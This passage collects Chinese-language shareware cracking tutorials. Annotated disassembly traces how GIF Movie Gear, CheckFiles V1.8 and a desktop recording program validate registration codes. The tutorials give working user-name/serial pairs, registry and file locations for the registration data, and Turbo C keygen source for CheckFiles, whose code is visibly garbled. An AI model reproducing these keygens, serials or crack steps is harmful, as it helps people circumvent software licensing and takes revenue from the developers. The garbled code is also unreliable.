:00431863 AE scasb
:00431864 F7D1 not ecx
:00431866 8D8424C4000000 lea eax, dword ptr [esp 000000C4]
:0043186D 51 push ecx
:0043186E 8B4C2410 mov ecx, dword ptr [esp 10]
:00431872 50 push eax
:00431873 6A01 push 00000001
:00431875 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"RegCode3"
|
:00431877 689CD44400 push 0044D49C
:0043187C 51 push ecx
:0043187D FFD3 call ebx
:0043187F 8B54240C mov edx, dword ptr [esp 0C]
:00431883 52 push edx

* Reference To: ADVAPI32.RegCloseKey, Ord:015Bh
|
:00431884 FF1518804400 Call dword ptr [00448018]

* Possible StringData Ref from Data Obj ->"Software\Loani\MG3t"
|
:0043188A 68A8D44400 push 0044D4A8
:0043188F 6802000080 push 80000002

* Reference To: ADVAPI32.RegDeleteKeyA, Ord:0162h
|
:00431894 FF1510804400 Call dword ptr [00448010]
:0043189A 6A01 push 00000001
:0043189C 56 push esi

-------------------------------------------------------------------------
:004313F0 53 push ebx
:004313F1 55 push ebp
:004313F2 8B6C2410 mov ebp, dword ptr [esp 10]
:004313F6 56 push esi
:004313F7 57 push edi
:004313F8 807D006D cmp byte ptr [ebp 00], 6D<----首位为"m"否则失败
:004313FC 0F85A0000000 jne 004314A2
:00431402 807D0167 cmp byte ptr [ebp 01], 67<------第二位为"g"
:00431406 0F8596000000 jne 004314A2
:0043140C 807D0233 cmp byte ptr [ebp 02], 33<-----第三位为“3”
:00431410 0F858C000000 jne 004314A2
:00431416 807D0337 cmp byte ptr [ebp 03], 37<-----第四位为“7”
:0043141A 0F8582000000 jne 004314A2
<---改过来,再试。
* Possible Indirect StringData Ref from Data Obj ->"mvg21951736"<---不知道是不是从前的非法注册码?
|
:00431420 BBBCD44400 mov ebx, 0044D4BC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00431446(C)
|
:00431425 8B13 mov edx, dword ptr [ebx]
:00431427 83C9FF or ecx, FFFFFFFF
:0043142A 8BFA mov edi, edx
:0043142C 33C0 xor eax, eax
:0043142E F2 repnz
:0043142F AE scasb
:00431430 F7D1 not ecx
:00431432 49 dec ecx
:00431433 8BFA mov edi, edx
:00431435 8BF5 mov esi, ebp
:00431437 33C0 xor eax, eax
:00431439 F3 repz
:0043143A A6 cmpsb
:0043143B 7465 je 004314A2
:0043143D 83C304 add ebx, 00000004
:00431440 81FBC0D44400 cmp ebx, 0044D4C0
:00431446 7CDD jl 00431425
:00431448 807D0473 cmp byte ptr [ebp 04], 73<----第五位是否为"s",改之,试一下。
:0043144C 7501 jne 0043144F
:0043144E 45 inc ebp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043144C(C)
|
:0043144F 83C507 add ebp, 00000007
:00431452 55 push ebp
:00431453 E8C4DD0000 call 0043F21C<-------对注册码的要害运算!
:00431458 8B542418 mov edx, dword ptr [esp 18]
:0043145C 83C404 add esp, 00000004
:0043145F 8BFA mov edi, edx<----对注册名开始运算!
:00431461 33C9 xor ecx, ecx
:00431463 8A12 mov dl, byte ptr [edx]
:00431465 BEDF0B0000 mov esi, 00000BDF<---esi的初始值。
:0043146A 84D2 test dl, dl
:0043146C 7426 je 00431494

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00431492(C)
|
:0043146E 0FBED2 movsx edx, dl 注册名各字符进edx
:00431471 41 inc ecx<------ecx计数
:00431472 0FAFD1 imul edx, ecx<------位数与注册名ASC码相乘。
:00431475 03F2 add esi, edx<-----和加入esi
:00431477 81FEBE170000 cmp esi, 000017BE
:0043147D 7E06 jle 00431485
:0043147F 81EEBE170000 sub esi, 000017BE<---最后取esi除17be的余数。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043147D(C)
|
:00431485 83F90A cmp ecx, 0000000A<----ecx以十为一组。
:00431488 7E02 jle 0043148C
:0043148A 33C9 xor ecx, ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00431488(C)
|
:0043148C 8A5701 mov dl, byte ptr [edi 01]
:0043148F 47 inc edi
:00431490 84D2 test dl, dl<----直到取尽注册名。
:00431492 75DA jne 0043146E

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043146C(C)
|
:00431494 3BF0 cmp esi, eax<----与注册码计算结果比较,不等则失败!
:00431496 750A jne 004314A2
:00431498 5F pop edi
:00431499 5E pop esi
:0043149A 5D pop ebp
:0043149B B801000000 mov eax, 00000001
:004314A0 5B pop ebx
:004314A1 C3 ret


:0043F21C FF742404 push [esp 04]
:0043F220 E86CFFFFFF call 0043F191<-----跟进!
:0043F225 59 pop ecx
:0043F226 C3 ret

--------------------------------------------------------------------------
* Referenced by a CALL at Addresses:
|:0043F220 , :004463E3 , :00446411 , :0044643C
|
:0043F191 53 push ebx
:0043F192 55 push ebp
:0043F193 56 push esi
:0043F194 57 push edi
:0043F195 8B7C2414 mov edi, dword ptr [esp 14]<---edi指向第九位。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F1C5(U)
|
:0043F199 833D4CE2440001 cmp dword ptr [0044E24C], 00000001<---查看是否取尽
:0043F1A0 7E0F jle 0043F1B1
:0043F1A2 0FB607 movzx eax, byte ptr [edi]
:0043F1A5 6A08 push 00000008
:0043F1A7 50 push eax
:0043F1A8 E812230000 call 004414BF
:0043F1AD 59 pop ecx
:0043F1AE 59 pop ecx
:0043F1AF EB0F jmp 0043F1C0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F1A0(C)
|
:0043F1B1 0FB607 movzx eax, byte ptr [edi]

* Possible StringData Ref from Data Obj ->" ((((( "
->" H"
|
:0043F1B4 8B0D40E04400 mov ecx, dword ptr [0044E040]
:0043F1BA 8A0441 mov al, byte ptr [ecx 2*eax]
:0043F1BD 83E008 and eax, 00000008

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F1AF(U)
|
:0043F1C0 85C0 test eax, eax
:0043F1C2 7403 je 0043F1C7
:0043F1C4 47 inc edi
:0043F1C5 EBD2 jmp 0043F199

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F1C2(C)
|
:0043F1C7 0FB637 movzx esi, byte ptr [edi]
:0043F1CA 47 inc edi
:0043F1CB 83FE2D cmp esi, 0000002D<---第九位是否为"-"
:0043F1CE 8BEE mov ebp, esi
:0043F1D0 7405 je 0043F1D7<-----是则有另一种算法,最后取eax的补码。
:0043F1D2 83FE2B cmp esi, 0000002B<----第九位是不是" "?
:0043F1D5 7504 jne 0043F1DB<---不是则跳!

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F1D0(C)
|
:0043F1D7 0FB637 movzx esi, byte ptr [edi] <-对于第九位“-”或“ ”的对其后数
字进行计算。

:0043F1DA 47 inc edi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F1D5(C)
|
:0043F1DB 33DB xor ebx, ebx<--否则直接进行计算。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F20C(U)
|
:0043F1DD 833D4CE2440001 cmp dword ptr [0044E24C], 00000001<--以下似乎是在验证是否取完数码。
:0043F1E4 7E0C jle 0043F1F2
:0043F1E6 6A04 push 00000004
:0043F1E8 56 push esi
:0043F1E9 E8D1220000 call 004414BF
:0043F1EE 59 pop ecx
:0043F1EF 59 pop ecx
:0043F1F0 EB0B jmp 0043F1FD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F1E4(C)
|

* Possible StringData Ref from Data Obj ->" ((((( "
->" H"
|
:0043F1F2 A140E04400 mov eax, dword ptr [0044E040]
:0043F1F7 8A0470 mov al, byte ptr [eax 2*esi]
:0043F1FA 83E004 and eax, 00000004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F1F0(U)
|
:0043F1FD 85C0 test eax, eax
:0043F1FF 740D je 0043F20E
:0043F201 8D049B lea eax, dword ptr [ebx 4*ebx]<---对eax取值!
:0043F204 8D5C46D0 lea ebx, dword ptr [esi 2*eax-30]<---对ebx取值!!
:0043F208 0FB637 movzx esi, byte ptr [edi] <----esi为相应数字的ASC码。
:0043F20B 47 inc edi<-- 下一位
:0043F20C EBCF jmp 0043F1DD

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F1FF(C)
|
:0043F20E 83FD2D cmp ebp, 0000002D<--算法选择。
:0043F211 8BC3 mov eax, ebx <----返回eax的值!
:0043F213 7502 jne 0043F217
:0043F215 F7D8 neg eax <--是否取反,视有无"-"而定。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043F213(C)
|
:0043F217 5F pop edi
:0043F218 5E pop esi
:0043F219 5D pop ebp
:0043F21A 5B pop ebx
:0043F21B C3 ret

在00431494处的比较决定了注册成功与否。相等既大功告成!
在对注册码的计算中实际上是对输入的九至n位数字转化为十六进制,而在对注册名的算法中是在esi的初始值
上再加上各位字符和位数的积的和除17be的余数。两者相等既可成功。在前面还有一个对第五位的测试,时间原因就不能再分析了

我的结果:注册名:happycreator
注册码:mg37s6784216
注册后信息会保存在注册表中:HKCU\Software\gamani\GIFMovieGear\2.0
删除相关信息后又变为未注册。注册码第6、7、8三位无关。



7.CheckFiles V1.8破解

【软件类别】:国外软件 / 共享版 / 文件治理
【开 发 商】http://www.lightlink.com/ym/chkfiles.htm
【破解过程】:用Fi2.45检查,VC 5.0编写,无壳。于是用W32Dasm反汇编后查找错误信息,找到要害点如下:

【破解过程】:
:00408483 E8017B0100 call 0041FF89
:00408488 8BC8 mov ecx, eax
:0040848A E8217C0100 call 004200B0
/* 取用户名位数 */
:0040848F 85C0 test eax, eax
:00408491 7518 jne 004084AB
:00408493 50 push eax

* Possible StringData Ref from Data Obj ->"CheckFiles Registration"
|
:00408494 6848ED4200 push 0042ED48

* Possible StringData Ref from Data Obj ->"You need to enter a user name."
|
:00408499 6828ED4200 push 0042ED28
:0040849E 8BCE mov ecx, esi
:004084A0 E87DA20100 call 00422722
:004084A5 5F pop edi
:004084A6 5E pop esi
:004084A7 83C420 add esp, 00000020
:004084AA C3 ret


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00408491(C)
|
:004084AB 83F814 cmp eax, 00000014
/* 用户名是否在20位以内? */
:004084AE 7E19 jle 004084C9
:004084B0 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"CheckFiles Registration"
|
:004084B2 6848ED4200 push 0042ED48

* Possible StringData Ref from Data Obj ->"The user name must be 20 characters "
->"or less."
|
:004084B7 68F8EC4200 push 0042ECF8
:004084BC 8BCE mov ecx, esi
:004084BE E85FA20100 call 00422722
:004084C3 5F pop edi
:004084C4 5E pop esi
:004084C5 83C420 add esp, 00000020
:004084C8 C3 ret


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004084AE(C)
|
:004084C9 8D44240C lea eax, dword ptr [esp 0C]
:004084CD 6A17 push 00000017
:004084CF 50 push eax

* Possible Reference to Dialog: DialogID_0087, CONTROL_ID:040F, ""
|
:004084D0 680F040000 push 0000040F
:004084D5 8BCE mov ecx, esi
:004084D7 E8AD7A0100 call 0041FF89
:004084DC 8BC8 mov ecx, eax
:004084DE E8CD7B0100 call 004200B0
/* 取试炼码位数 */
:004084E3 85C0 test eax, eax
:004084E5 7518 jne 004084FF
:004084E7 50 push eax

* Possible StringData Ref from Data Obj ->"CheckFiles Registration"
|
:004084E8 6848ED4200 push 0042ED48

* Possible StringData Ref from Data Obj ->"You need to enter a registration "
->"number."
|
:004084ED 68CCEC4200 push 0042ECCC
:004084F2 8BCE mov ecx, esi
:004084F4 E829A20100 call 00422722
:004084F9 5F pop edi
:004084FA 5E pop esi
:004084FB 83C420 add esp, 00000020
:004084FE C3 ret


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004084E5(C)
|
:004084FF 8D4C2408 lea ecx, dword ptr [esp 08]
:00408503 8D54240C lea edx, dword ptr [esp 0C]
/* 取试炼码地址 */
:00408507 51 push ecx

* Possible StringData Ref from Data Obj ->"%lu"
|
:00408508 6854E24200 push 0042E254
:0040850D 52 push edx
:0040850E E8AD100000 call 004095C0
/* 判定试炼码是否全是数字,若是则转为16进制,不是则给出错误信息 */
:00408513 83C40C add esp, 0000000C
:00408516 83F801 cmp eax, 00000001
:00408519 7419 je 00408534
:0040851B 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"CheckFiles Registration"
|
:0040851D 6848ED4200 push 0042ED48

* Possible StringData Ref from Data Obj ->"You need to enter a valid registration "
->"number."
|
:00408522 689CEC4200 push 0042EC9C
:00408527 8BCE mov ecx, esi
:00408529 E8F4A10100 call 00422722
:0040852E 5F pop edi
:0040852F 5E pop esi
:00408530 83C420 add esp, 00000020
:00408533 C3 ret


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00408519(C)
|
:00408534 8B442408 mov eax, dword ptr [esp 08]
/* 16进制值送eax */
:00408538 85C0 test eax, eax
:0040853A 7519 jne 00408555
:0040853C 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"CheckFiles Registration"
|
:0040853E 6848ED4200 push 0042ED48

* Possible StringData Ref from Data Obj ->"You need to enter a valid registartion "
->"number."
|
:00408543 686CEC4200 push 0042EC6C
:00408548 8BCE mov ecx, esi
:0040854A E8D3A10100 call 00422722
:0040854F 5F pop edi
:00408550 5E pop esi
:00408551 83C420 add esp, 00000020
:00408554 C3 ret


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040853A(C)
|
:00408555 68282D4300 push 00432D28
/* 用户名地址入栈 */
:0040855A E8A18AFFFF call 00401000
/* 算法call */
:0040855F 8B4C240C mov ecx, dword ptr [esp 0C]
:00408563 83C404 add esp, 00000004
:00408566 3BC8 cmp ecx, eax
/* 要害比较 */
:00408568 7419 je 00408583
/* 一定要跳 */
:0040856A 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"CheckFiles Registration"
|
:0040856C 6848ED4200 push 0042ED48

* Possible StringData Ref from Data Obj ->"Sorry, this registration number "
->"is not valid."
|
:00408571 683CEC4200 push 0042EC3C
:00408576 8BCE mov ecx, esi
:00408578 E8A5A10100 call 00422722
:0040857D 5F pop edi
:0040857E 5E pop esi
:0040857F 83C420 add esp, 00000020
:00408582 C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00408568(C)
|
* Possible StringData Ref from Data Obj ->"ww"
|
:00408583 68FCE34200 push 0042E3FC

* Possible StringData Ref from Data Obj ->"chkfiles.ser"
|
:00408588 685CE24200 push 0042E25C
:0040858D E86E120000 call 00409800
:00408592 8BF8 mov edi, eax
:00408594 83C408 add esp, 00000008
:00408597 85FF test edi, edi
:00408599 7439 je 004085D4
:0040859B 8B442408 mov eax, dword ptr [esp 08]
:0040859F 50 push eax
:004085A0 68282D4300 push 00432D28

* Possible StringData Ref from Data Obj ->"%s%lu"

:004085A5 6834EC4200 push 0042EC34
:004085AA 57 push edi
:004085AB E870120000 call 00409820
:004085B0 83C410 add esp, 00000010
:004085B3 83F8FF cmp eax, FFFFFFFF
:004085B6 741C je 004085D4
:004085B8 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"CheckFiles Registration"
|
:004085BA 6848ED4200 push 0042ED48

* Possible StringData Ref from Data Obj ->"Thank you for registering."
|
:004085BF 6818EC4200 push 0042EC18
:004085C4 8BCE mov ecx, esi
:004085C6 E857A10100 call 00422722
:004085CB C605202D430001 mov byte ptr [00432D20], 01
:004085D2 EB13 jmp 004085E7

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00408599(C), :004085B6(C)
|
:004085D4 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"CheckFiles Registration"
|
:004085D6 6848ED4200 push 0042ED48

* Possible StringData Ref from Data Obj ->"Error writing registration file."
|
:004085DB 68F4EB4200 push 0042EBF4
:004085E0 8BCE mov ecx, esi
:004085E2 E83BA10100 call 00422722

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004085D2(U)
|
:004085E7 57 push edi
:004085E8 E873080000 call 00408E60
:004085ED 83C404 add esp, 00000004
:004085F0 8BCE mov ecx, esi
:004085F2 E8394B0100 call 0041D130
:004085F7 5F pop edi
:004085F8 5E pop esi
:004085F9 83C420 add esp, 00000020
:004085FC C3 ret
___________________________________________________________
算法call:
:00401000 53 push ebx
:00401001 55 push ebp
:00401002 8B6C240C mov ebp, dword ptr [esp 0C]
:00401006 56 push esi
:00401007 57 push edi
:00401008 8BFD mov edi, ebp
:0040100A 83C9FF or ecx, FFFFFFFF
:0040100D 33C0 xor eax, eax
:0040100F F2 repnz
:00401010 AE scasb
:00401011 F7D1 not ecx
:00401013 49 dec ecx
/* 这里取得用户名长度 */
:00401014 8BC1 mov eax, ecx
:00401016 8BD8 mov ebx, eax
:00401018 7452 je 0040106C
:0040101A 83F814 cmp eax, 00000014
:0040101D 7F4D jg 0040106C
:0040101F 7D1D jge 0040103E
:00401021 B914000000 mov ecx, 00000014
:00401026 8D3C28 lea edi, dword ptr [eax ebp]
:00401029 2BC8 sub ecx, eax
:0040102B B820202020 mov eax, 20202020
:00401030 8BD1 mov edx, ecx
:00401032 C1E902 shr ecx, 02
:00401035 F3 repz
:00401036 AB stosd
/* 上面这段指令用0x20将未满20位的用户名补足20位 */
:00401037 8BCA mov ecx, edx
:00401039 83E103 and ecx, 00000003
:0040103C F3 repz
:0040103D AA stosb

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040101F(C)
|
:0040103E BE322DFB21 mov esi, 21FB2D32
:00401043 B929197C6B mov ecx, 6B7C1929
/* 以上是两个计算要害值 */
:00401048 33D2 xor edx, edx
/* edx清零 */

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040105F(C)
|
:0040104A 33C0 xor eax, eax
/* eax清零 */
:0040104C 8A042A mov al, byte ptr [edx ebp]
/* 依次取用户名的每一位 */
:0040104F 0FAFC1 imul eax, ecx
/* eax=eax*ecx */
:00401052 03F0 add esi, eax
/* esi=eax esi */
:00401054 42 inc edx
/* edx */
:00401055 83FA14 cmp edx, 00000014
/* 20位是否都算完? */
:00401058 8D8C092106471E lea ecx, dword ptr [ecx ecx 1E470621]
/* ecx=ecx*2 1E470621 */
:0040105F 7CE9 jl 0040104A
/* 未满20位则返回继续运算 */
:00401061 C6042B00 mov byte ptr [ebx ebp], 00
:00401065 8BC6 mov eax, esi
/* 运算结果作为返回值送出 */
:00401067 5F pop edi
:00401068 5E pop esi
:00401069 5D pop ebp
:0040106A 5B pop ebx
:0040106B C3 ret

【整 理】:
用户名:cyclotron
注册码:101258879

【注册信息存放】:
主目录下chkfiles.ser

【Turbo C 注册机】:
#include "stdio.h"
#include "string.h"
void main()
{char regname[21];
unsigned long regcode=0x21FB2D32,ecx=0x6B7C1929;
int i,length;
printf("\t*******************************************************************\n\n");
printf("\t\tKeyGen for CheckFiles V1.5\n\t\t\tProduced by cyclotron\n\n");
printf("\t*******************************************************************\n\n");
do
{printf("\n\tPlease input your Regname(less than or equal to 20):");
length=strlen(gets(regname));
}
while(!length||length>20);
for(i=length;i<20;i )
regname=0x20;
for(i=0;i<20;i )
{regcode =regname*ecx;
ecx=ecx*2 0x1E470621;
}
printf("\n\tYour Regcode is:\t%lu\n",regcode);
printf("\n\tThank you for your use!\n");
getchar();


8.世纪葵花--桌面直播录像机系统5.2

前 言】:这个软件有很多地方不明白,所以发出来和大家探讨一下!(在这里也要谢谢安靖)
【下载页面】http://www.softreg.com.cn/sharew ... -BB4E-567A2FE09680/
【文章作者】:辉仔Yock[DFCG][YCG]
【作者声明】:本人发表这篇文章只是为了学习和研究!!!请不用于商业用途或是将本文方法制作的注册机任意传播,读者看了文章后所做的事情与我无关,我也不会负责,请读者看了文章后三思而后行!最后希望大家在经济基础好的时候,支持共享软件!
【破解工具】:OLLYDBG W32Dasm

—————————————————————————————————
【过 程】:
主程序SFCAPCaster.exe没有加壳,事用Microsoft Visual C 6.0编写的!
用W32dasm反汇编,根据参考字串很快找到要害!
用OLLYDBG加载SFCAPCaster.exe

选择帮助-->注册-->输入用户名Yock196(用户名要大于5位)-->邮箱地址(可以不填,下面不做运算!-->输入20位的假注册码KHSC-987654321ABCDEF(开头五位一定要是"KHSC-")

下断点004147D4来到下面:

:004147BF E83AE40100 call 00432BFE
//这里事取得用户名位数

:004147C4 8B07 mov eax, dword ptr [edi]
:004147C6 C744242000000000 mov [esp 20], 00000000
:004147CE 8B40F8 mov eax, dword ptr [eax-08]
:004147D1 83F805 cmp eax, 00000005
//比较用户名是否小于5位

:004147D4 7D13 jge 004147E9
:004147D6 6A00 push 00000000
:004147D8 6A10 push 00000010

* Possible StringData Ref from Data Obj ->"请输入长度大于5的用户名称"
|
:004147DA 68A05B4500 push 00455BA0
:004147DF E8CF410200 call 004389B3
:004147E4 E91E010000 jmp 00414907

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004147D4(C)
|
:004147E9 8D4C2410 lea ecx, dword ptr [esp 10]
:004147ED 8D7E5C lea edi, dword ptr [esi 5C]
:004147F0 6A05 push 00000005
:004147F2 51 push ecx
:004147F3 8BCF mov ecx, edi
:004147F5 E8B18A0100 call 0042D2AB
:004147FA 8B00 mov eax, dword ptr [eax]

* Possible StringData Ref from Data Obj ->"KHSC-"
|
:004147FC 68985B4500 push 00455B98
:00414801 50 push eax
:00414802 E8F59E0000 call 0041E6FC
//比较注册码的前面五位是否"KHSC-"

:00414807 83C408 add esp, 00000008
:0041480A 85C0 test eax, eax
:0041480C 7511 jne 0041481F
//不是就跳下去出错

:0041480E 8B17 mov edx, dword ptr [edi]
:00414810 837AF814 cmp dword ptr [edx-08], 00000014
//比较注册码是否等于20位

:00414814 0F95C0 setne al
:00414817 84C0 test al, al
:00414819 7504 jne 0041481F
//不是的话跳下去出错

:0041481B 32DB xor bl, bl
:0041481D EB02 jmp 00414821

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0041480C(C), :00414819(C)
|
:0041481F B301 mov bl, 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041481D(U)
|
:00414821 8D4C2410 lea ecx, dword ptr [esp 10]
:00414825 E85FE60100 call 00432E89
:0041482A 84DB test bl, bl
:0041482C 7413 je 00414841
//输入的注册码假如不符合上面的条件就不跳走!
//符合反之
//这里可以说是一个暗桩,我第一次以为这样注册成功了!
//其实不是的,符合上面的条件,但不是真的注册码一样是未注册!

:0041482E 6A00 push 00000000
:00414830 6A10 push 00000010

* Possible StringData Ref from Data Obj ->"注册失败!"
|
:00414832 688C5B4500 push 00455B8C
:00414837 E877410200 call 004389B3
:0041483C E9C6000000 jmp 00414907

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041482C(C) //上面来到这里!

......
......
//省略一部分用处不大的代码

:0041488D 8D442418 lea eax, dword ptr [esp 18]
:00414891 50 push eax
//用户名

:00414892 E829090000 call 004151C0
//来到这里是把我的用户名经过运算后得出一串数字"298103222272636"
//但是感觉上用处不大,我认为根本就没有!

:00414897 83C40C add esp, 0000000C
:0041489A 50 push eax
:0041489B 8D4C2410 lea ecx, dword ptr [esp 10]
:0041489F C644242402 mov [esp 24], 02
:004148A4 E819E70100 call 00432FC2
:004148A9 8D4C2410 lea ecx, dword ptr [esp 10]
:004148AD C644242000 mov [esp 20], 00
:004148B2 E8D2E50100 call 00432E89
:004148B7 51 push ecx
:004148B8 8D542410 lea edx, dword ptr [esp 10]
:004148BC 8BCC mov ecx, esp
:004148BE 89642418 mov dword ptr [esp 18], esp
:004148C2 52 push edx
:004148C3 E836E30100 call 00432BFE
:004148C8 8BCE mov ecx, esi
:004148CA E861000000 call 00414930
:004148CF 6A00 push 00000000
:004148D1 8BCE mov ecx, esi
:004148D3 E838010000 call 00414A10
:004148D8 8BCE mov ecx, esi
:004148DA E8E1030000 call 00414CC0
//根据W32Dasm的提示得知这个CALL里面是注册成功但出的窗口!
//跟进去!

:004148DF 8BCE mov ecx, esi
:004148E1 E87A030000 call 00414C60
//根据W32Dasm的提示得知这个CALL里面是注册成功但出的窗口!
//跟进去!

:004148E6 8B461C mov eax, dword ptr [esi 1C]
:004148E9 6A00 push 00000000
:004148EB 6A00 push 00000000
:004148ED 6892040000 push 00000492
:004148F2 50 push eax

* Reference To: USER32.SendMessageA, Ord:0214h
|
:004148F3 FF1574654400 Call dword ptr [00446574]
//这个地方是最不明白的了!
//用"安靖"的注册码注册就在这里但出成功的窗口!
//用我自己追出来的注册码,这里是没有反映的!但也能注册成功!
//还请高手指点!

:004148F9 8BCE mov ecx, esi
:004148FB E86DE00100 call 0043296D
:00414900 8BCE mov ecx, esi
:00414902 E81EF60100 call 00433F25
------------------------------------------------------------------
上面004148DA的CALL来到这里:
* Referenced by a CALL at Address:
|:004148DA
|
:00414CC0 51 push ecx
:00414CC1 56 push esi
:00414CC2 8BF1 mov esi, ecx
:00414CC4 57 push edi
:00414CC5 8D442408 lea eax, dword ptr [esp 08]
:00414CC9 6A05 push 00000005
:00414CCB 50 push eax
:00414CCC 8D8EF4010000 lea ecx, dword ptr [esi 000001F4]
:00414CD2 E8D4850100 call 0042D2AB
:00414CD7 8B00 mov eax, dword ptr [eax]
:00414CD9 50 push eax
:00414CDA E8129A0000 call 0041E6F1
:00414CDF 83C404 add esp, 00000004
:00414CE2 8D4C2408 lea ecx, dword ptr [esp 08]
:00414CE6 8BF8 mov edi, eax
:00414CE8 E89CE10100 call 00432E89
:00414CED 8B8EE8010000 mov ecx, dword ptr [esi 000001E8]
:00414CF3 51 push ecx
:00414CF4 E887020000 call 00414F80
:00414CF9 83C404 add esp, 00000004
:00414CFC 3BF8 cmp edi, eax
//要害比较...
//EDI和EAX寄存器分别存着真假注册码的前五位数的十六进制值!

:00414CFE 8986E8010000 mov dword ptr [esi 000001E8], eax
:00414D04 7509 jne 00414D0F
//这里跳走的话就...

:00414D06 6A01 push 00000001
:00414D08 8BCE mov ecx, esi
:00414D0A E8B1FEFFFF call 00414BC0
//这里进去有三个跳转,这三个跳转不跳的话就出现注册成功窗口!

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414D04(C)
|
:00414D0F 5F pop edi
:00414D10 5E pop esi
:00414D11 59 pop ecx
:00414D12 C3 ret
------------------------------------------------------------------
上面004148E1的CALL来到这里:
* Referenced by a CALL at Address:
|:004148E1
|
:00414C60 51 push ecx
:00414C61 56 push esi
:00414C62 57 push edi
:00414C63 8BF1 mov esi, ecx
:00414C65 6A05 push 00000005
:00414C67 8D44240C lea eax, dword ptr [esp 0C]
:00414C6B 6A05 push 00000005
:00414C6D 50 push eax
:00414C6E 8D8EF4010000 lea ecx, dword ptr [esi 000001F4]
:00414C74 E820850100 call 0042D199
:00414C79 8B00 mov eax, dword ptr [eax]
:00414C7B 50 push eax
:00414C7C E8709A0000 call 0041E6F1
:00414C81 83C404 add esp, 00000004
:00414C84 8D4C2408 lea ecx, dword ptr [esp 08]
:00414C88 8BF8 mov edi, eax
:00414C8A E8FAE10100 call 00432E89
:00414C8F 8B8EEC010000 mov ecx, dword ptr [esi 000001EC]
:00414C95 51 push ecx
:00414C96 E8B5030000 call 00415050
:00414C9B 83C404 add esp, 00000004
:00414C9E 3BF8 cmp edi, eax
//和上面一样,要害比较...
//EDI和EAX寄存器分别存着真假注册码的前五位数的十六进制值!

:00414CA0 8986EC010000 mov dword ptr [esi 000001EC], eax
:00414CA6 7509 jne 00414CB1
:00414CA8 6A02 push 00000002
:00414CAA 8BCE mov ecx, esi
:00414CAC E80FFFFFFF call 00414BC0
//和上面一样
//这里进去有三个跳转,这三个跳转不跳的话就出现注册成功窗口!

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00414CA6(C)
|
:00414CB1 5F pop edi
:00414CB2 5E pop esi
:00414CB3 59 pop ecx
:00414CB4 C3 ret
------------------------------------------------------------------
这里就是00414CAC和00414D0A的CALL来到的地方:

* Referenced by a CALL at Addresses:
|:00414586 , :00414CAC , :00414D0A
|
:00414BC0 56 push esi
:00414BC1 8BF1 mov esi, ecx
:00414BC3 E8CCA20200 call 0043EE94
:00414BC8 8B5004 mov edx, dword ptr [eax 04]
:00414BCB 8B442408 mov eax, dword ptr [esp 08]
:00414BCF 48 dec eax
:00414BD0 7452 je 00414C24
:00414BD2 48 dec eax
:00414BD3 7436 je 00414C0B
//我追出来的正确注册码和"安靖"的注册码在这里都跳走了!

:00414BD5 48 dec eax
:00414BD6 0F8580000000 jne 00414C5C
:00414BDC 6A00 push 00000000
:00414BDE 6A01 push 00000001
:00414BE0 8BCA mov ecx, edx
:00414BE2 C7825802000001000000 mov dword ptr [ebx 00000258], 00000001
:00414BEC E8AFFFFEFF call 00404BA0
:00414BF1 6A00 push 00000000
:00414BF3 6A00 push 00000000

* Possible StringData Ref from Data Obj ->"注册成功, 请重新启动程序!"
|
:00414BF5 68C05B4500 push 00455BC0
:00414BFA E8B43D0200 call 004389B3
:00414BFF 6A00 push 00000000

* Reference To: USER32.PostQuitMessage, Ord:01E0h
|
:00414C01 FF1564644400 Call dword ptr [00446464]
:00414C07 5E pop esi
:00414C08 C20400 ret 0004
------------------------------------------------------------------
【总 结】:
我追出的注册码(邮箱不填也可以):
Yock196
KHSC-